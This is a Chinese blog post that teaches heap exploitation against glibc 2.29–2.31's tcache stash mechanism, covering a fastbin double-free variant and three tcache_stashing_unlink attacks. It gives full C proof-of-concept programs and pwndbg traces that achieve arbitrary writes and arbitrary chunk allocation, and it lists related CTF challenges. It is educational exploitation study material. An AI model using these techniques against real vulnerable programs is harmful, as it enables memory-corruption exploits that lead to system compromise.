热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

glibc2.29引入stash机制后引起的相关漏洞学习

 以下示例的libc源码均为libc2.31.fastbin的stash机制这里分析一下对于fastbin的stash机制 if ((unsigned long)(nb) fd; //取出头chunk

 

以下示例的libc源码均为libc2.31.

fastbin的stash机制

这里分析一下对于fastbin的stash机制

if ((unsigned long)(nb) <= (unsigned long)(get_max_fast())) //size在fastbin范围内
{
idx = fastbin_index(nb);
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp;
victim = *fb;
if (victim != NULL) //如果有chunk
{
if (SINGLE_THREAD_P)
*fb = victim->fd; //取出头chunk
else
REMOVE_FB(fb, pp, victim);
if (__glibc_likely(victim != NULL))
{
size_t victim_idx = fastbin_index(chunksize(victim));
if (__builtin_expect(victim_idx != idx, 0)) //对fastbin的size检查
malloc_printerr("malloc(): memory corruption (fast)");
check_remalloced_chunk(av, victim, nb);
//if USE_TCACHE,且看到此fastbin链表下,存在相同大小的bins(也就是一条chain),进行Stash。过程:把剩下的bins放入Tcache中
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx(nb);
if (tcache && tc_idx {
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks. */
while (tcache->counts[tc_idx] {
if (SINGLE_THREAD_P) //从fastbin中取出
*fb = tc_victim->fd;
else
{
REMOVE_FB(fb, pp, tc_victim);
if (__glibc_unlikely(tc_victim == NULL))
break;
}
tcache_put(tc_victim, tc_idx);//放入tcache中
}
}
#endif
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
}
}

也就是比如当一个线程申请0x50大小的chunk时,如果tcache没有,那么就会进入分配区进行处理,如果对应bin中存在0x50的chunk,除了取出并返回之外,ptmalloc会认为这个线程在将来还需要相同的大小的chunk,因此就会把对应bin中0x50的chunk尽可能的放入tcache的对应链表中去。


Tcache Stashing 遇上 fastbin double free

假设有个double free可以触发,其用到fastbin上:
进行free 多次构成:

1

为了触发stash,先申请完tcache里的chunk,让其为空,(或者让其不满也可以)

然后再申请一下同size的chunk,就会触发stash。也是其精妙之处,在glibc2.27以下,往往是这样的构造:

2

主要由于fastbin 取出时,其会检查size是否相符合,导致很受限制。此时其基本就是可以攻击带有0x7f,去攻击libc上的内存。

但是有了stash这个机制,其就变成了以下的情况:

3

由于上来申请同size的chunk时触发了stash机制,其会把fastbin里剩下的chunk放入到tcache中。由于chunk 7的fd是可以控制的,写入tag地址,然后放入chain的chunk ,也就是chunk 8 、7 、tag 。这就相当于劫持了tcache chain,可以实现任意地址写。


相关例题



  • bytectf2020 gun (libc2.31)

  • 太湖杯 seven hero (libc2.29)

 

smallbin的stash机制

对于smallbin的stash机制:

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx); //smallbin 从chain尾开始取到的chunk的fd位位 bin值 (根据 FIFO,即为最先放入的 Chunk)
if ((victim = last (bin)) != bin) //victim 即为刚刚取到的chunk
{
bck = victim->bk; //获取倒数第二个chunk
if (__glibc_unlikely (bck->fd != victim)) //验证双向链表是否正常
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
//将 bin 的 bk 指向 victim 的后一个 Chunk,将 victim 后一个 Chunk 的 fd 指向 bin,即将 victim 取出
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb); //获取对应size的tcache索引
if (tcache && tc_idx {
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] && (tc_victim = last (bin)) != bin) //#define last(b) ((b)->bk) 也就是 tc_victim = bin->bk
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
//将 bin 的 bk 指向 tc_victim 的后一个 Chunk,将 tc_victim 后一个 Chunk 的 fd 指向 bin,即将 tc_victim 取出
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

也就是在smallbin分配之后,如果smallbin链表中仍然存在堆块,并且对应的tcache list没有满chain的话,就会将small bin链表中所有的堆块放入到相应的tcache中。

当然要发生这种分配的方式,必须要越过tcache优先分配堆块,calloc的分配是不从tcache bin里取chunk的,即可满足。

下面跟着示例代码和glibc相关源码调试来学习一下:

tcache_stashing_unlink



示例代码

#include
#include
#include
static uint64_t victim = 0;
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to write a big number to arbitrary address instead of unsortedbin attack\n");
printf("\n1. need to know heap address and the victim address that you need to attack\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: 0x%lx\n", &victim, victim);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. choose a stable size and free six identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<6; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4, t1-0x60*5);
printf("\n3. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
/* 将两个大小相同的块(如tcache_entry)释放到相应的smallbin中 */
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n4. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n5. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Finally, the victim's value is changed to a big number\n");
printf("Now, victim's value: 0x%lx\n", victim);
return 0;
}


编译命令

gcc -g ./tcache_stashing_unlink.c -o tcache_stashing_unlink

-g 编译是可以让gdb显示源码


调试过程

for(int i=0; i<6; i++){
t1 = calloc(1, 0x50);
free(t1);
}

(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0

先往tcache 中0x60的bin chain 上放入6个bin.。

接着将两个大小相同的块(如tcache_entry)释放到相应的smallbin中。

s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);

pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559950 (size : 0x206b0)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555555594f0 (size : 0x430)

malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);

pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559950 (size : 0x206b0)
last_remainder: 0x5555555598c0 (size : 0x60)
unsortbin: 0x5555555598c0 (size : 0x60)
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0

可以看到0x5555555598c0是在last_remainder之中的,由于其不会进入tcache的特性,就可以进入到smallbin中。

pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555559a60 (size : 0x205a0)
last_remainder: 0x5555555598c0 (size : 0x60)
unsortbin: 0x0
(0x060) smallbin[ 4]: 0x5555555598c0
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0

接着重复这个步骤,在构造一个进入smallbin的chunk。

printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80); //防止合并的pad chunk,其必须大于0x60
free(s2);
malloc(0x3c0);
malloc(0x100);

pwndbg> heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555555a030 (size : 0x1ffd0)
last_remainder: 0x555555559e30 (size : 0x60)
unsortbin: 0x0
(0x060) smallbin[ 4]: 0x555555559e30 <--> 0x5555555598c0
(0x60) tcache_entry[4](6): 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0

可以看到已经完成构造了。接着进行change 0x555555559e30 的bk为目标地址-0x10。

*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;

原始:

pwndbg> x/30gx 0x555555559e30
0x555555559e30: 0x0000000000000000 0x0000000000000061
0x555555559e40: 0x00005555555598c0 0x00007ffff7fb9c30

change 后:

pwndbg> x/30gx 0x555555559e30
0x555555559e30: 0x0000000000000000 0x0000000000000061
0x555555559e40: 0x00005555555598c0 0x0000555555558040
0x555555559e50: 0x0000000000000000 0x0000000000000000

再看下即将被calloc申请到的smallbin:

pwndbg> x/30gx 0x5555555598c0
0x5555555598c0: 0x0000000000000000 0x0000000000000061
0x5555555598d0: 0x00007ffff7fb9c30 0x0000555555559e30

calloc(1, 0x50);

其先会进行一个解链:

if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk; //1
if (__glibc_unlikely (bck->fd != victim)) //2 明显是可以通过其双向链表的检查,会被正常的解链
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);

接着会进行stash:

#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx {
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] && (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}

可以看到这一块,并没有进行双向链表的检查。其中bck->fd = bin;这个也就是对于 (&tag – 0x10) + 0x10 = bin。也就是将目标地址上的值赋为 bin,这样就实现了等价于 unsortedbin Attack 的操作。

pwndbg> x/30gx 0x0000555555558050
0x555555558050 : 0x00007ffff7fb9c30 0x0000000000000000

可以看到攻击已经成功。

0x60) tcache_entry[4](7): 0x555555559e40 --> 0x5555555594a0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0

且已经满chain,结束了stash的过程。

需要注意的是,刚才描述的放入过程是一个循环,我们将伪造的bck看成一个堆块,其bk很可能是一个非法的地址,这样就导致循环到下一个堆块时unlink执行到bck->fd = bin;访问非法内存造成程序crash。所以开始,选择释放6个对应size的chunk到tcache bin,只为tcache留一个空间,这样循环一次就会跳出,不会有后续问题。


小总结



  • 先放入 2 个 Chunk 到 smallbins,6 个 Chunk 到对应的 tcache;

  • 然后在不破坏 fd 的情况下,将后放入 smallbins 的 chunk 的 bk 设置为目标地址减 0x10。

  • 这样再用calloc向 smallbins 申请对应大小的 Chunk 时,先放入 smallbins 的 Chunk 被分配给用户,然后触发 stash 机制。bck = tc_victim->bk;此时的 bck 就是目标地址减 0x10,之后bck->fd = bin; 也就是将目标地址上的值赋为 bin,写上了main_arena的地址,这样就实现了等价于 unsortedbin attack 的操作;

  • 之后再调用 tcache_put 把后放入 smallbins 的 Chunk 取出给对应的 tcache ,因为 tcache 之前已经被布置了 6 个 Chunk,在这次之后达到了阈值,所以也就退出了 stash 循环,整个流程就会正常结束。


tcache_stashing_unlink plus



示例代码

#include
#include
#include
static uint64_t victim[4] = {0, 0, 0, 0};
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to get a tcache chunk to arbitrary address\n");
printf("\n1. need to know heap address and the victim address that you need to attack\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
&victim, victim[0], victim[1], victim[2], victim[3]);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. change victim's data, make victim[1] = &victim, or other address to writable address\n");
//只要是一个可以写的指针地址即可,不一定是&victim
victim[1] = (uint64_t)(&victim);
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
&victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
return 0;
}

由于大多地方调试信息都相似,只分析一下重点处的相关信息:


重点调试过程

b 70

先断在源程序代码的第70行,下面紧跟着的是calloc.
看下内存信息:
被恶意chage的smallbin chunk:

pwndbg> x/30gx 0x555555559dd0
0x555555559dd0: 0x0000000000000000 0x0000000000000061
0x555555559de0: 0x0000555555559860 0x0000555555558050(tag-0x10)

即将被取走的smallbin chunk:

pwndbg> x/30gx 0x0000555555559860
0x555555559860: 0x0000000000000000 0x0000000000000061
0x555555559870: 0x00007ffff7fbac30 0x0000555555559dd0

接着si进入calloc内部,进入malloc.c:

pwndbg> b 3654
Breakpoint 3 at 0x7ffff7e69c87: file malloc.c, line 3655.

直接断在stash区进行分析:


第一轮的stash:


if (tcache && tc_idx {
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] && (tc_victim = last (bin)) != bin) //#define last(b) ((b)->bk) 也就是 tc_victim = bin->bk

pwndbg> p tc_victim
$19 = (mchunkptr) 0x555555559dd0

pwndbg> x/30gx 0x555555559dd0
0x555555559dd0: 0x0000000000000000 0x0000000000000061
0x555555559de0: 0x00007ffff7fbac30 0x0000555555558050

{
if (tc_victim != 0)
{
bck = tc_victim->bk; //bck = tag-0x10
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck; //tag - 0x10 被写在bin->bk处
bck->fd = bin; //bin 被写在tag处
//将 bin 的 bk 指向 tc_victim 的后一个 Chunk,将 tc_victim 后一个 Chunk 的 fd 指向 bin,即将 tc_victim 取出
tcache_put (tc_victim, tc_idx);
}
}

pwndbg> x/30gx 0x0000555555558050
0x555555558050: 0x0000000000000000 0x0000000000000000
0x555555558060 : 0x00007ffff7fbac30 0x0000555555558060
0x555555558070 : 0x0000000000000000 0x0000000000000000

pwndbg> x/30gx 0x00007ffff7fbac30
0x7ffff7fbac30 : 0x00007ffff7fbac20 0x00007ffff7fbac20
0x7ffff7fbac40 : 0x0000555555559dd0 0x0000555555558050(tag - 0x10)

tcache 放入了 tc_victim = 0x555555559de0

(0x60) tcache_entry[4](6): 0x555555559de0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0


第二轮的stash:

重点攻击的是tc_victim 也就是目标地址。

pwndbg> p tc_victim
$21 = (mchunkptr) 0x555555558050

很明显最终目标也就是保证让tc_victim放入tcache即可。观察代码,可以发现仅需要保证的也就是不要让程序crush。

if (tc_victim != 0)
{
//得保证目标地址chunk的bk为可写的指针
bck = tc_victim->bk; //tag-0x10->bk=bck =tag+8
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin; //保证一个可写的bck,程序即可正常的执行
//将 bin 的 bk 指向 tc_victim 的后一个 Chunk,将 tc_victim 后一个 Chunk 的 fd 指向 bin,即将 tc_victim 取出
tcache_put (tc_victim, tc_idx);

其得保证tc_victim->bk是一个可写指针,此示例程序是&victim,是其他的也是可以的。

pwndbg> x/30gx 0x555555558050
0x555555558050: 0x0000000000000000 0x0000000000000000
0x555555558060 : 0x00007ffff7fbac30 0x0000555555558060
0x555555558070 : 0x0000000000000000 0x0000000000000000

pwndbg> p bck
$22 = (mchunkptr) 0x555555558060

执行完毕后,获得一个目标地址的chunk进入了tcache,也达到了阈值,也就退出了 stash 循环。
并且再次申请一下就得到一个目标地址的chunk。

(0x60) tcache_entry[4](7): 0x555555558060 --> 0x555555559de0 --> 0x555555559440 --> 0x5555555593e0 --> 0x555555559380 --> 0x555555559320 --> 0x5555555592c0


小总结



  • 先放入 2 个 Chunk 到 Smallbins,5 个 Chunk 到对应的 tcache

  • 在不破坏 fd 的情况下,将后放入 Smallbins 的 Chunk 的 bk 设置为目标地址减 0x10,同时要将目标地址加 0x8 处的值设置为一个指向一处可写内存的指针;

  • 接着用calloc触发stash 机制,会将后放入 Smallbins 的 Chunk 被放入 tcache,此时的 bin->bk 就是目标地址减 0x10,相当于把目标地址减 0x10 的指针链接进了 smallbins 中。

  • 之后不满足终止条件,会进行下一次的 stash,这时的 tc_victim 就是目标地址。接下来由于原来的设置,目标地址加 0x8 处的指针是一个可写指针,保证stash流程正常走完。

  • 最后目标地址就会被放入 tcache_entry的头部,stash 满足终止条件而终止。

重点在攻击最后一个进入smallbin的bk指针,让其指向目标地址-0x10的地方,并且保证目标地址+8的位置为一个可写的指针。

tcache_stashing_unlink plus plus

也就是可以同时实现上面的2个功能。


  • 任意地址分配一个chunk

  • 任意地址写入一个main_arena附近的值



示例代码

#include
#include
#include
static uint64_t victim[4] = {0, 0, 0, 0};
static uint64_t victim2 = 0;
int main(int argc, char **argv){
setbuf(stdout, 0);
setbuf(stderr, 0);
char *t1;
char *s1, *s2, *pad;
char *tmp;
printf("You can use this technique to get a tcache chunk to arbitrary address, at the same time, write a big number to arbitrary address\n");
printf("\n1. need to know heap address, the victim address that you need to get chunk pointer and the victim address that you need to write a big number\n");
tmp = malloc(0x1);
printf("victim's address: %p, victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
&victim, victim[0], victim[1], victim[2], victim[3]);
printf("victim2's address: %p, victim2's value: 0x%lx\n",
&victim2, victim2);
printf("heap address: %p\n", tmp-0x260);
printf("\n2. change victim's data, make victim[1] = &victim2-0x10\n");
victim[1] = (uint64_t)(&victim2)-0x10;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("\n3. choose a stable size and free five identical size chunks to tcache_entry list\n");
printf("Here, I choose the size 0x60\n");
for(int i=0; i<5; i++){
t1 = calloc(1, 0x50);
free(t1);
}
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p\n",
t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("\n4. free two chunk with the same size like tcache_entry into the corresponding smallbin\n");
s1 = malloc(0x420);
printf("Alloc a chunk %p, whose size is beyond tcache size threshold\n", s1);
pad = malloc(0x20);
printf("Alloc a padding chunk, avoid %p to merge to top chunk\n", s1);
free(s1);
printf("Free chunk %p to unsortedbin\n", s1);
malloc(0x3c0);
printf("Alloc a calculated size, make the rest chunk size in unsortedbin is 0x60\n");
malloc(0x100);
printf("Alloc a chunk whose size is larger than rest chunk size in unsortedbin, that will trigger chunk to other bins like smallbins\n");
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s1+0x3c0);
printf("Repeat the above steps, and free another chunk into corresponding smallbin\n");
printf("A little difference, notice the twice pad chunk size must be larger than 0x60, or you will destroy first chunk in smallbin[4]\n");
s2 = malloc(0x420);
pad = malloc(0x80);
free(s2);
malloc(0x3c0);
malloc(0x100);
printf("chunk %p is in smallbin[4], whose size is 0x60\n", s2+0x3c0);
printf("smallbin[4] list is %p <--> %p\n", s2+0x3c0, s1+0x3c0);
printf("\n5. overwrite the first chunk in smallbin[4]'s bk pointer to &victim-0x10 address, the first chunk is smallbin[4]->fd\n");
printf("Change %p's bk pointer to &victim-0x10 address: 0x%lx\n", s2+0x3c0, (uint64_t)(&victim)-0x10);
*(uint64_t*)((s2+0x3c0)+0x18) = (uint64_t)(&victim)-0x10;
printf("\n6. use calloc to apply to smallbin[4], it will trigger stash mechanism in smallbin.\n");
calloc(1, 0x50);
printf("Now, the tcache_entry[4] list is %p --> %p --> %p --> %p --> %p --> %p --> %p\n",
&victim, s2+0x3d0, t1, t1-0x60, t1-0x60*2, t1-0x60*3, t1-0x60*4);
printf("Apply to tcache_entry[4], you can get a pointer to victim address\n");
uint64_t *r = (uint64_t*)malloc(0x50);
r[0] = 0xaa;
r[1] = 0xbb;
r[2] = 0xcc;
r[3] = 0xdd;
printf("victim's vaule: [0x%lx, 0x%lx, 0x%lx, 0x%lx]\n",
victim[0], victim[1], victim[2], victim[3]);
printf("victim2's value: 0x%lx\n",
victim2);
return 0;
}


调试过程

基本跟第2个一样,断点还是断在相似的位置,然后分析相关位置的代码即可。

调试完成发现,其跟第二个十分相似,只是在第二个中保证的是:目标地址+8为一个可写的地址即可。然而想要实现一个地方写入一个巨大的main_arena附近的值,只需把目标地址+8为这个地方-0x10即可。

bck->fd = bin;


小总结

重点操作在:


  • 将 Smallbins 里的后一个进入的chunk的 bk 设置为目标地址 1 减 0x10。

  • 将目标地址 1 加 0x8 的位置设置为目标地址 2 减 0x10。

这样就可以分配到目标地址 1的chunk,同时向目标地址 2 写入一个大数字。


相关例题



  • 2019-HITCON-one_punch_man

  • 2019-HITCON-lazyhouse

  • 2020-XCTF-GXZY-twochunk

  • BUUCTF 新春红包3

 

参加链接

https://zhuanlan.zhihu.com/p/136983333

http://blog.b3ale.cn/2020/05/05/Tcache-Stashing-Unlink-Attack/#2020-XCTF-GXZY-twochunk%EF%BC%88tcache-stashing-unlink-attack-plus-plus%EF%BC%89


推荐阅读
  • 颜色迁移(reinhard VS welsh)
    不要谈什么天分,运气,你需要的是一个截稿日,以及一个不交稿就能打爆你狗头的人,然后你就会被自己的才华吓到。------ ... [详细]
  • 使用nodejs爬取b站番剧数据,计算最佳追番推荐
    本文介绍了如何使用nodejs爬取b站番剧数据,并通过计算得出最佳追番推荐。通过调用相关接口获取番剧数据和评分数据,以及使用相应的算法进行计算。该方法可以帮助用户找到适合自己的番剧进行观看。 ... [详细]
  • Nginx使用(server参数配置)
    本文介绍了Nginx的使用,重点讲解了server参数配置,包括端口号、主机名、根目录等内容。同时,还介绍了Nginx的反向代理功能。 ... [详细]
  • 本文介绍了Python爬虫技术基础篇面向对象高级编程(中)中的多重继承概念。通过继承,子类可以扩展父类的功能。文章以动物类层次的设计为例,讨论了按照不同分类方式设计类层次的复杂性和多重继承的优势。最后给出了哺乳动物和鸟类的设计示例,以及能跑、能飞、宠物类和非宠物类的增加对类数量的影响。 ... [详细]
  • Day2列表、字典、集合操作详解
    本文详细介绍了列表、字典、集合的操作方法,包括定义列表、访问列表元素、字符串操作、字典操作、集合操作、文件操作、字符编码与转码等内容。内容详实,适合初学者参考。 ... [详细]
  • IjustinheritedsomewebpageswhichusesMooTools.IneverusedMooTools.NowIneedtoaddsomef ... [详细]
  • 本文详细介绍了git常用命令及其操作方法,包括查看、添加、提交、删除、找回等操作,以及如何重置修改文件、抛弃工作区修改、将工作文件提交到本地暂存区、从版本库中删除文件等。同时还介绍了如何从暂存区恢复到工作文件、恢复最近一次提交过的状态,以及如何合并多个操作等。 ... [详细]
  • 欢乐的票圈重构之旅——RecyclerView的头尾布局增加
    项目重构的Git地址:https:github.comrazerdpFriendCircletreemain-dev项目同步更新的文集:http:www.jianshu.comno ... [详细]
  • EPPlus绘制刻度线的方法及示例代码
    本文介绍了使用EPPlus绘制刻度线的方法,并提供了示例代码。通过ExcelPackage类和List对象,可以实现在Excel中绘制刻度线的功能。具体的方法和示例代码在文章中进行了详细的介绍和演示。 ... [详细]
  • 十大经典排序算法动图演示+Python实现
    本文介绍了十大经典排序算法的原理、演示和Python实现。排序算法分为内部排序和外部排序,常见的内部排序算法有插入排序、希尔排序、选择排序、冒泡排序、归并排序、快速排序、堆排序、基数排序等。文章还解释了时间复杂度和稳定性的概念,并提供了相关的名词解释。 ... [详细]
  • 本文介绍了200个经典c语言源代码,包括函数的使用,如sqrt函数、clanguagefunct等。这些源代码可以帮助读者更好地理解c语言的编程方法,并提供了实际应用的示例。 ... [详细]
  • #define_CRT_SECURE_NO_WARNINGS#includelist.h#includevoidSListInit(PNode*pHead ... [详细]
  • 先记住几个专用名词,如下:Workspace:工作区IndexStage:暂存区Repository:仓库区(或本地仓库)Remote:远程仓库一、新建代码库#在当前目录新建一个G ... [详细]
  • 【CTF 攻略】第三届 SSCTF 全国网络安全大赛—线上赛 Writeup
    【CTF 攻略】第三届 SSCTF 全国网络安全大赛—线上赛 Writeup ... [详细]
  • 基于词向量计算文本相似度1.测试数据:链接:https:pan.baidu.coms1fXJjcujAmAwTfsuTg2CbWA提取码:f4vx2.实验代码:imp ... [详细]
author-avatar
朱衅赝
这个家伙很懒,什么也没留下!
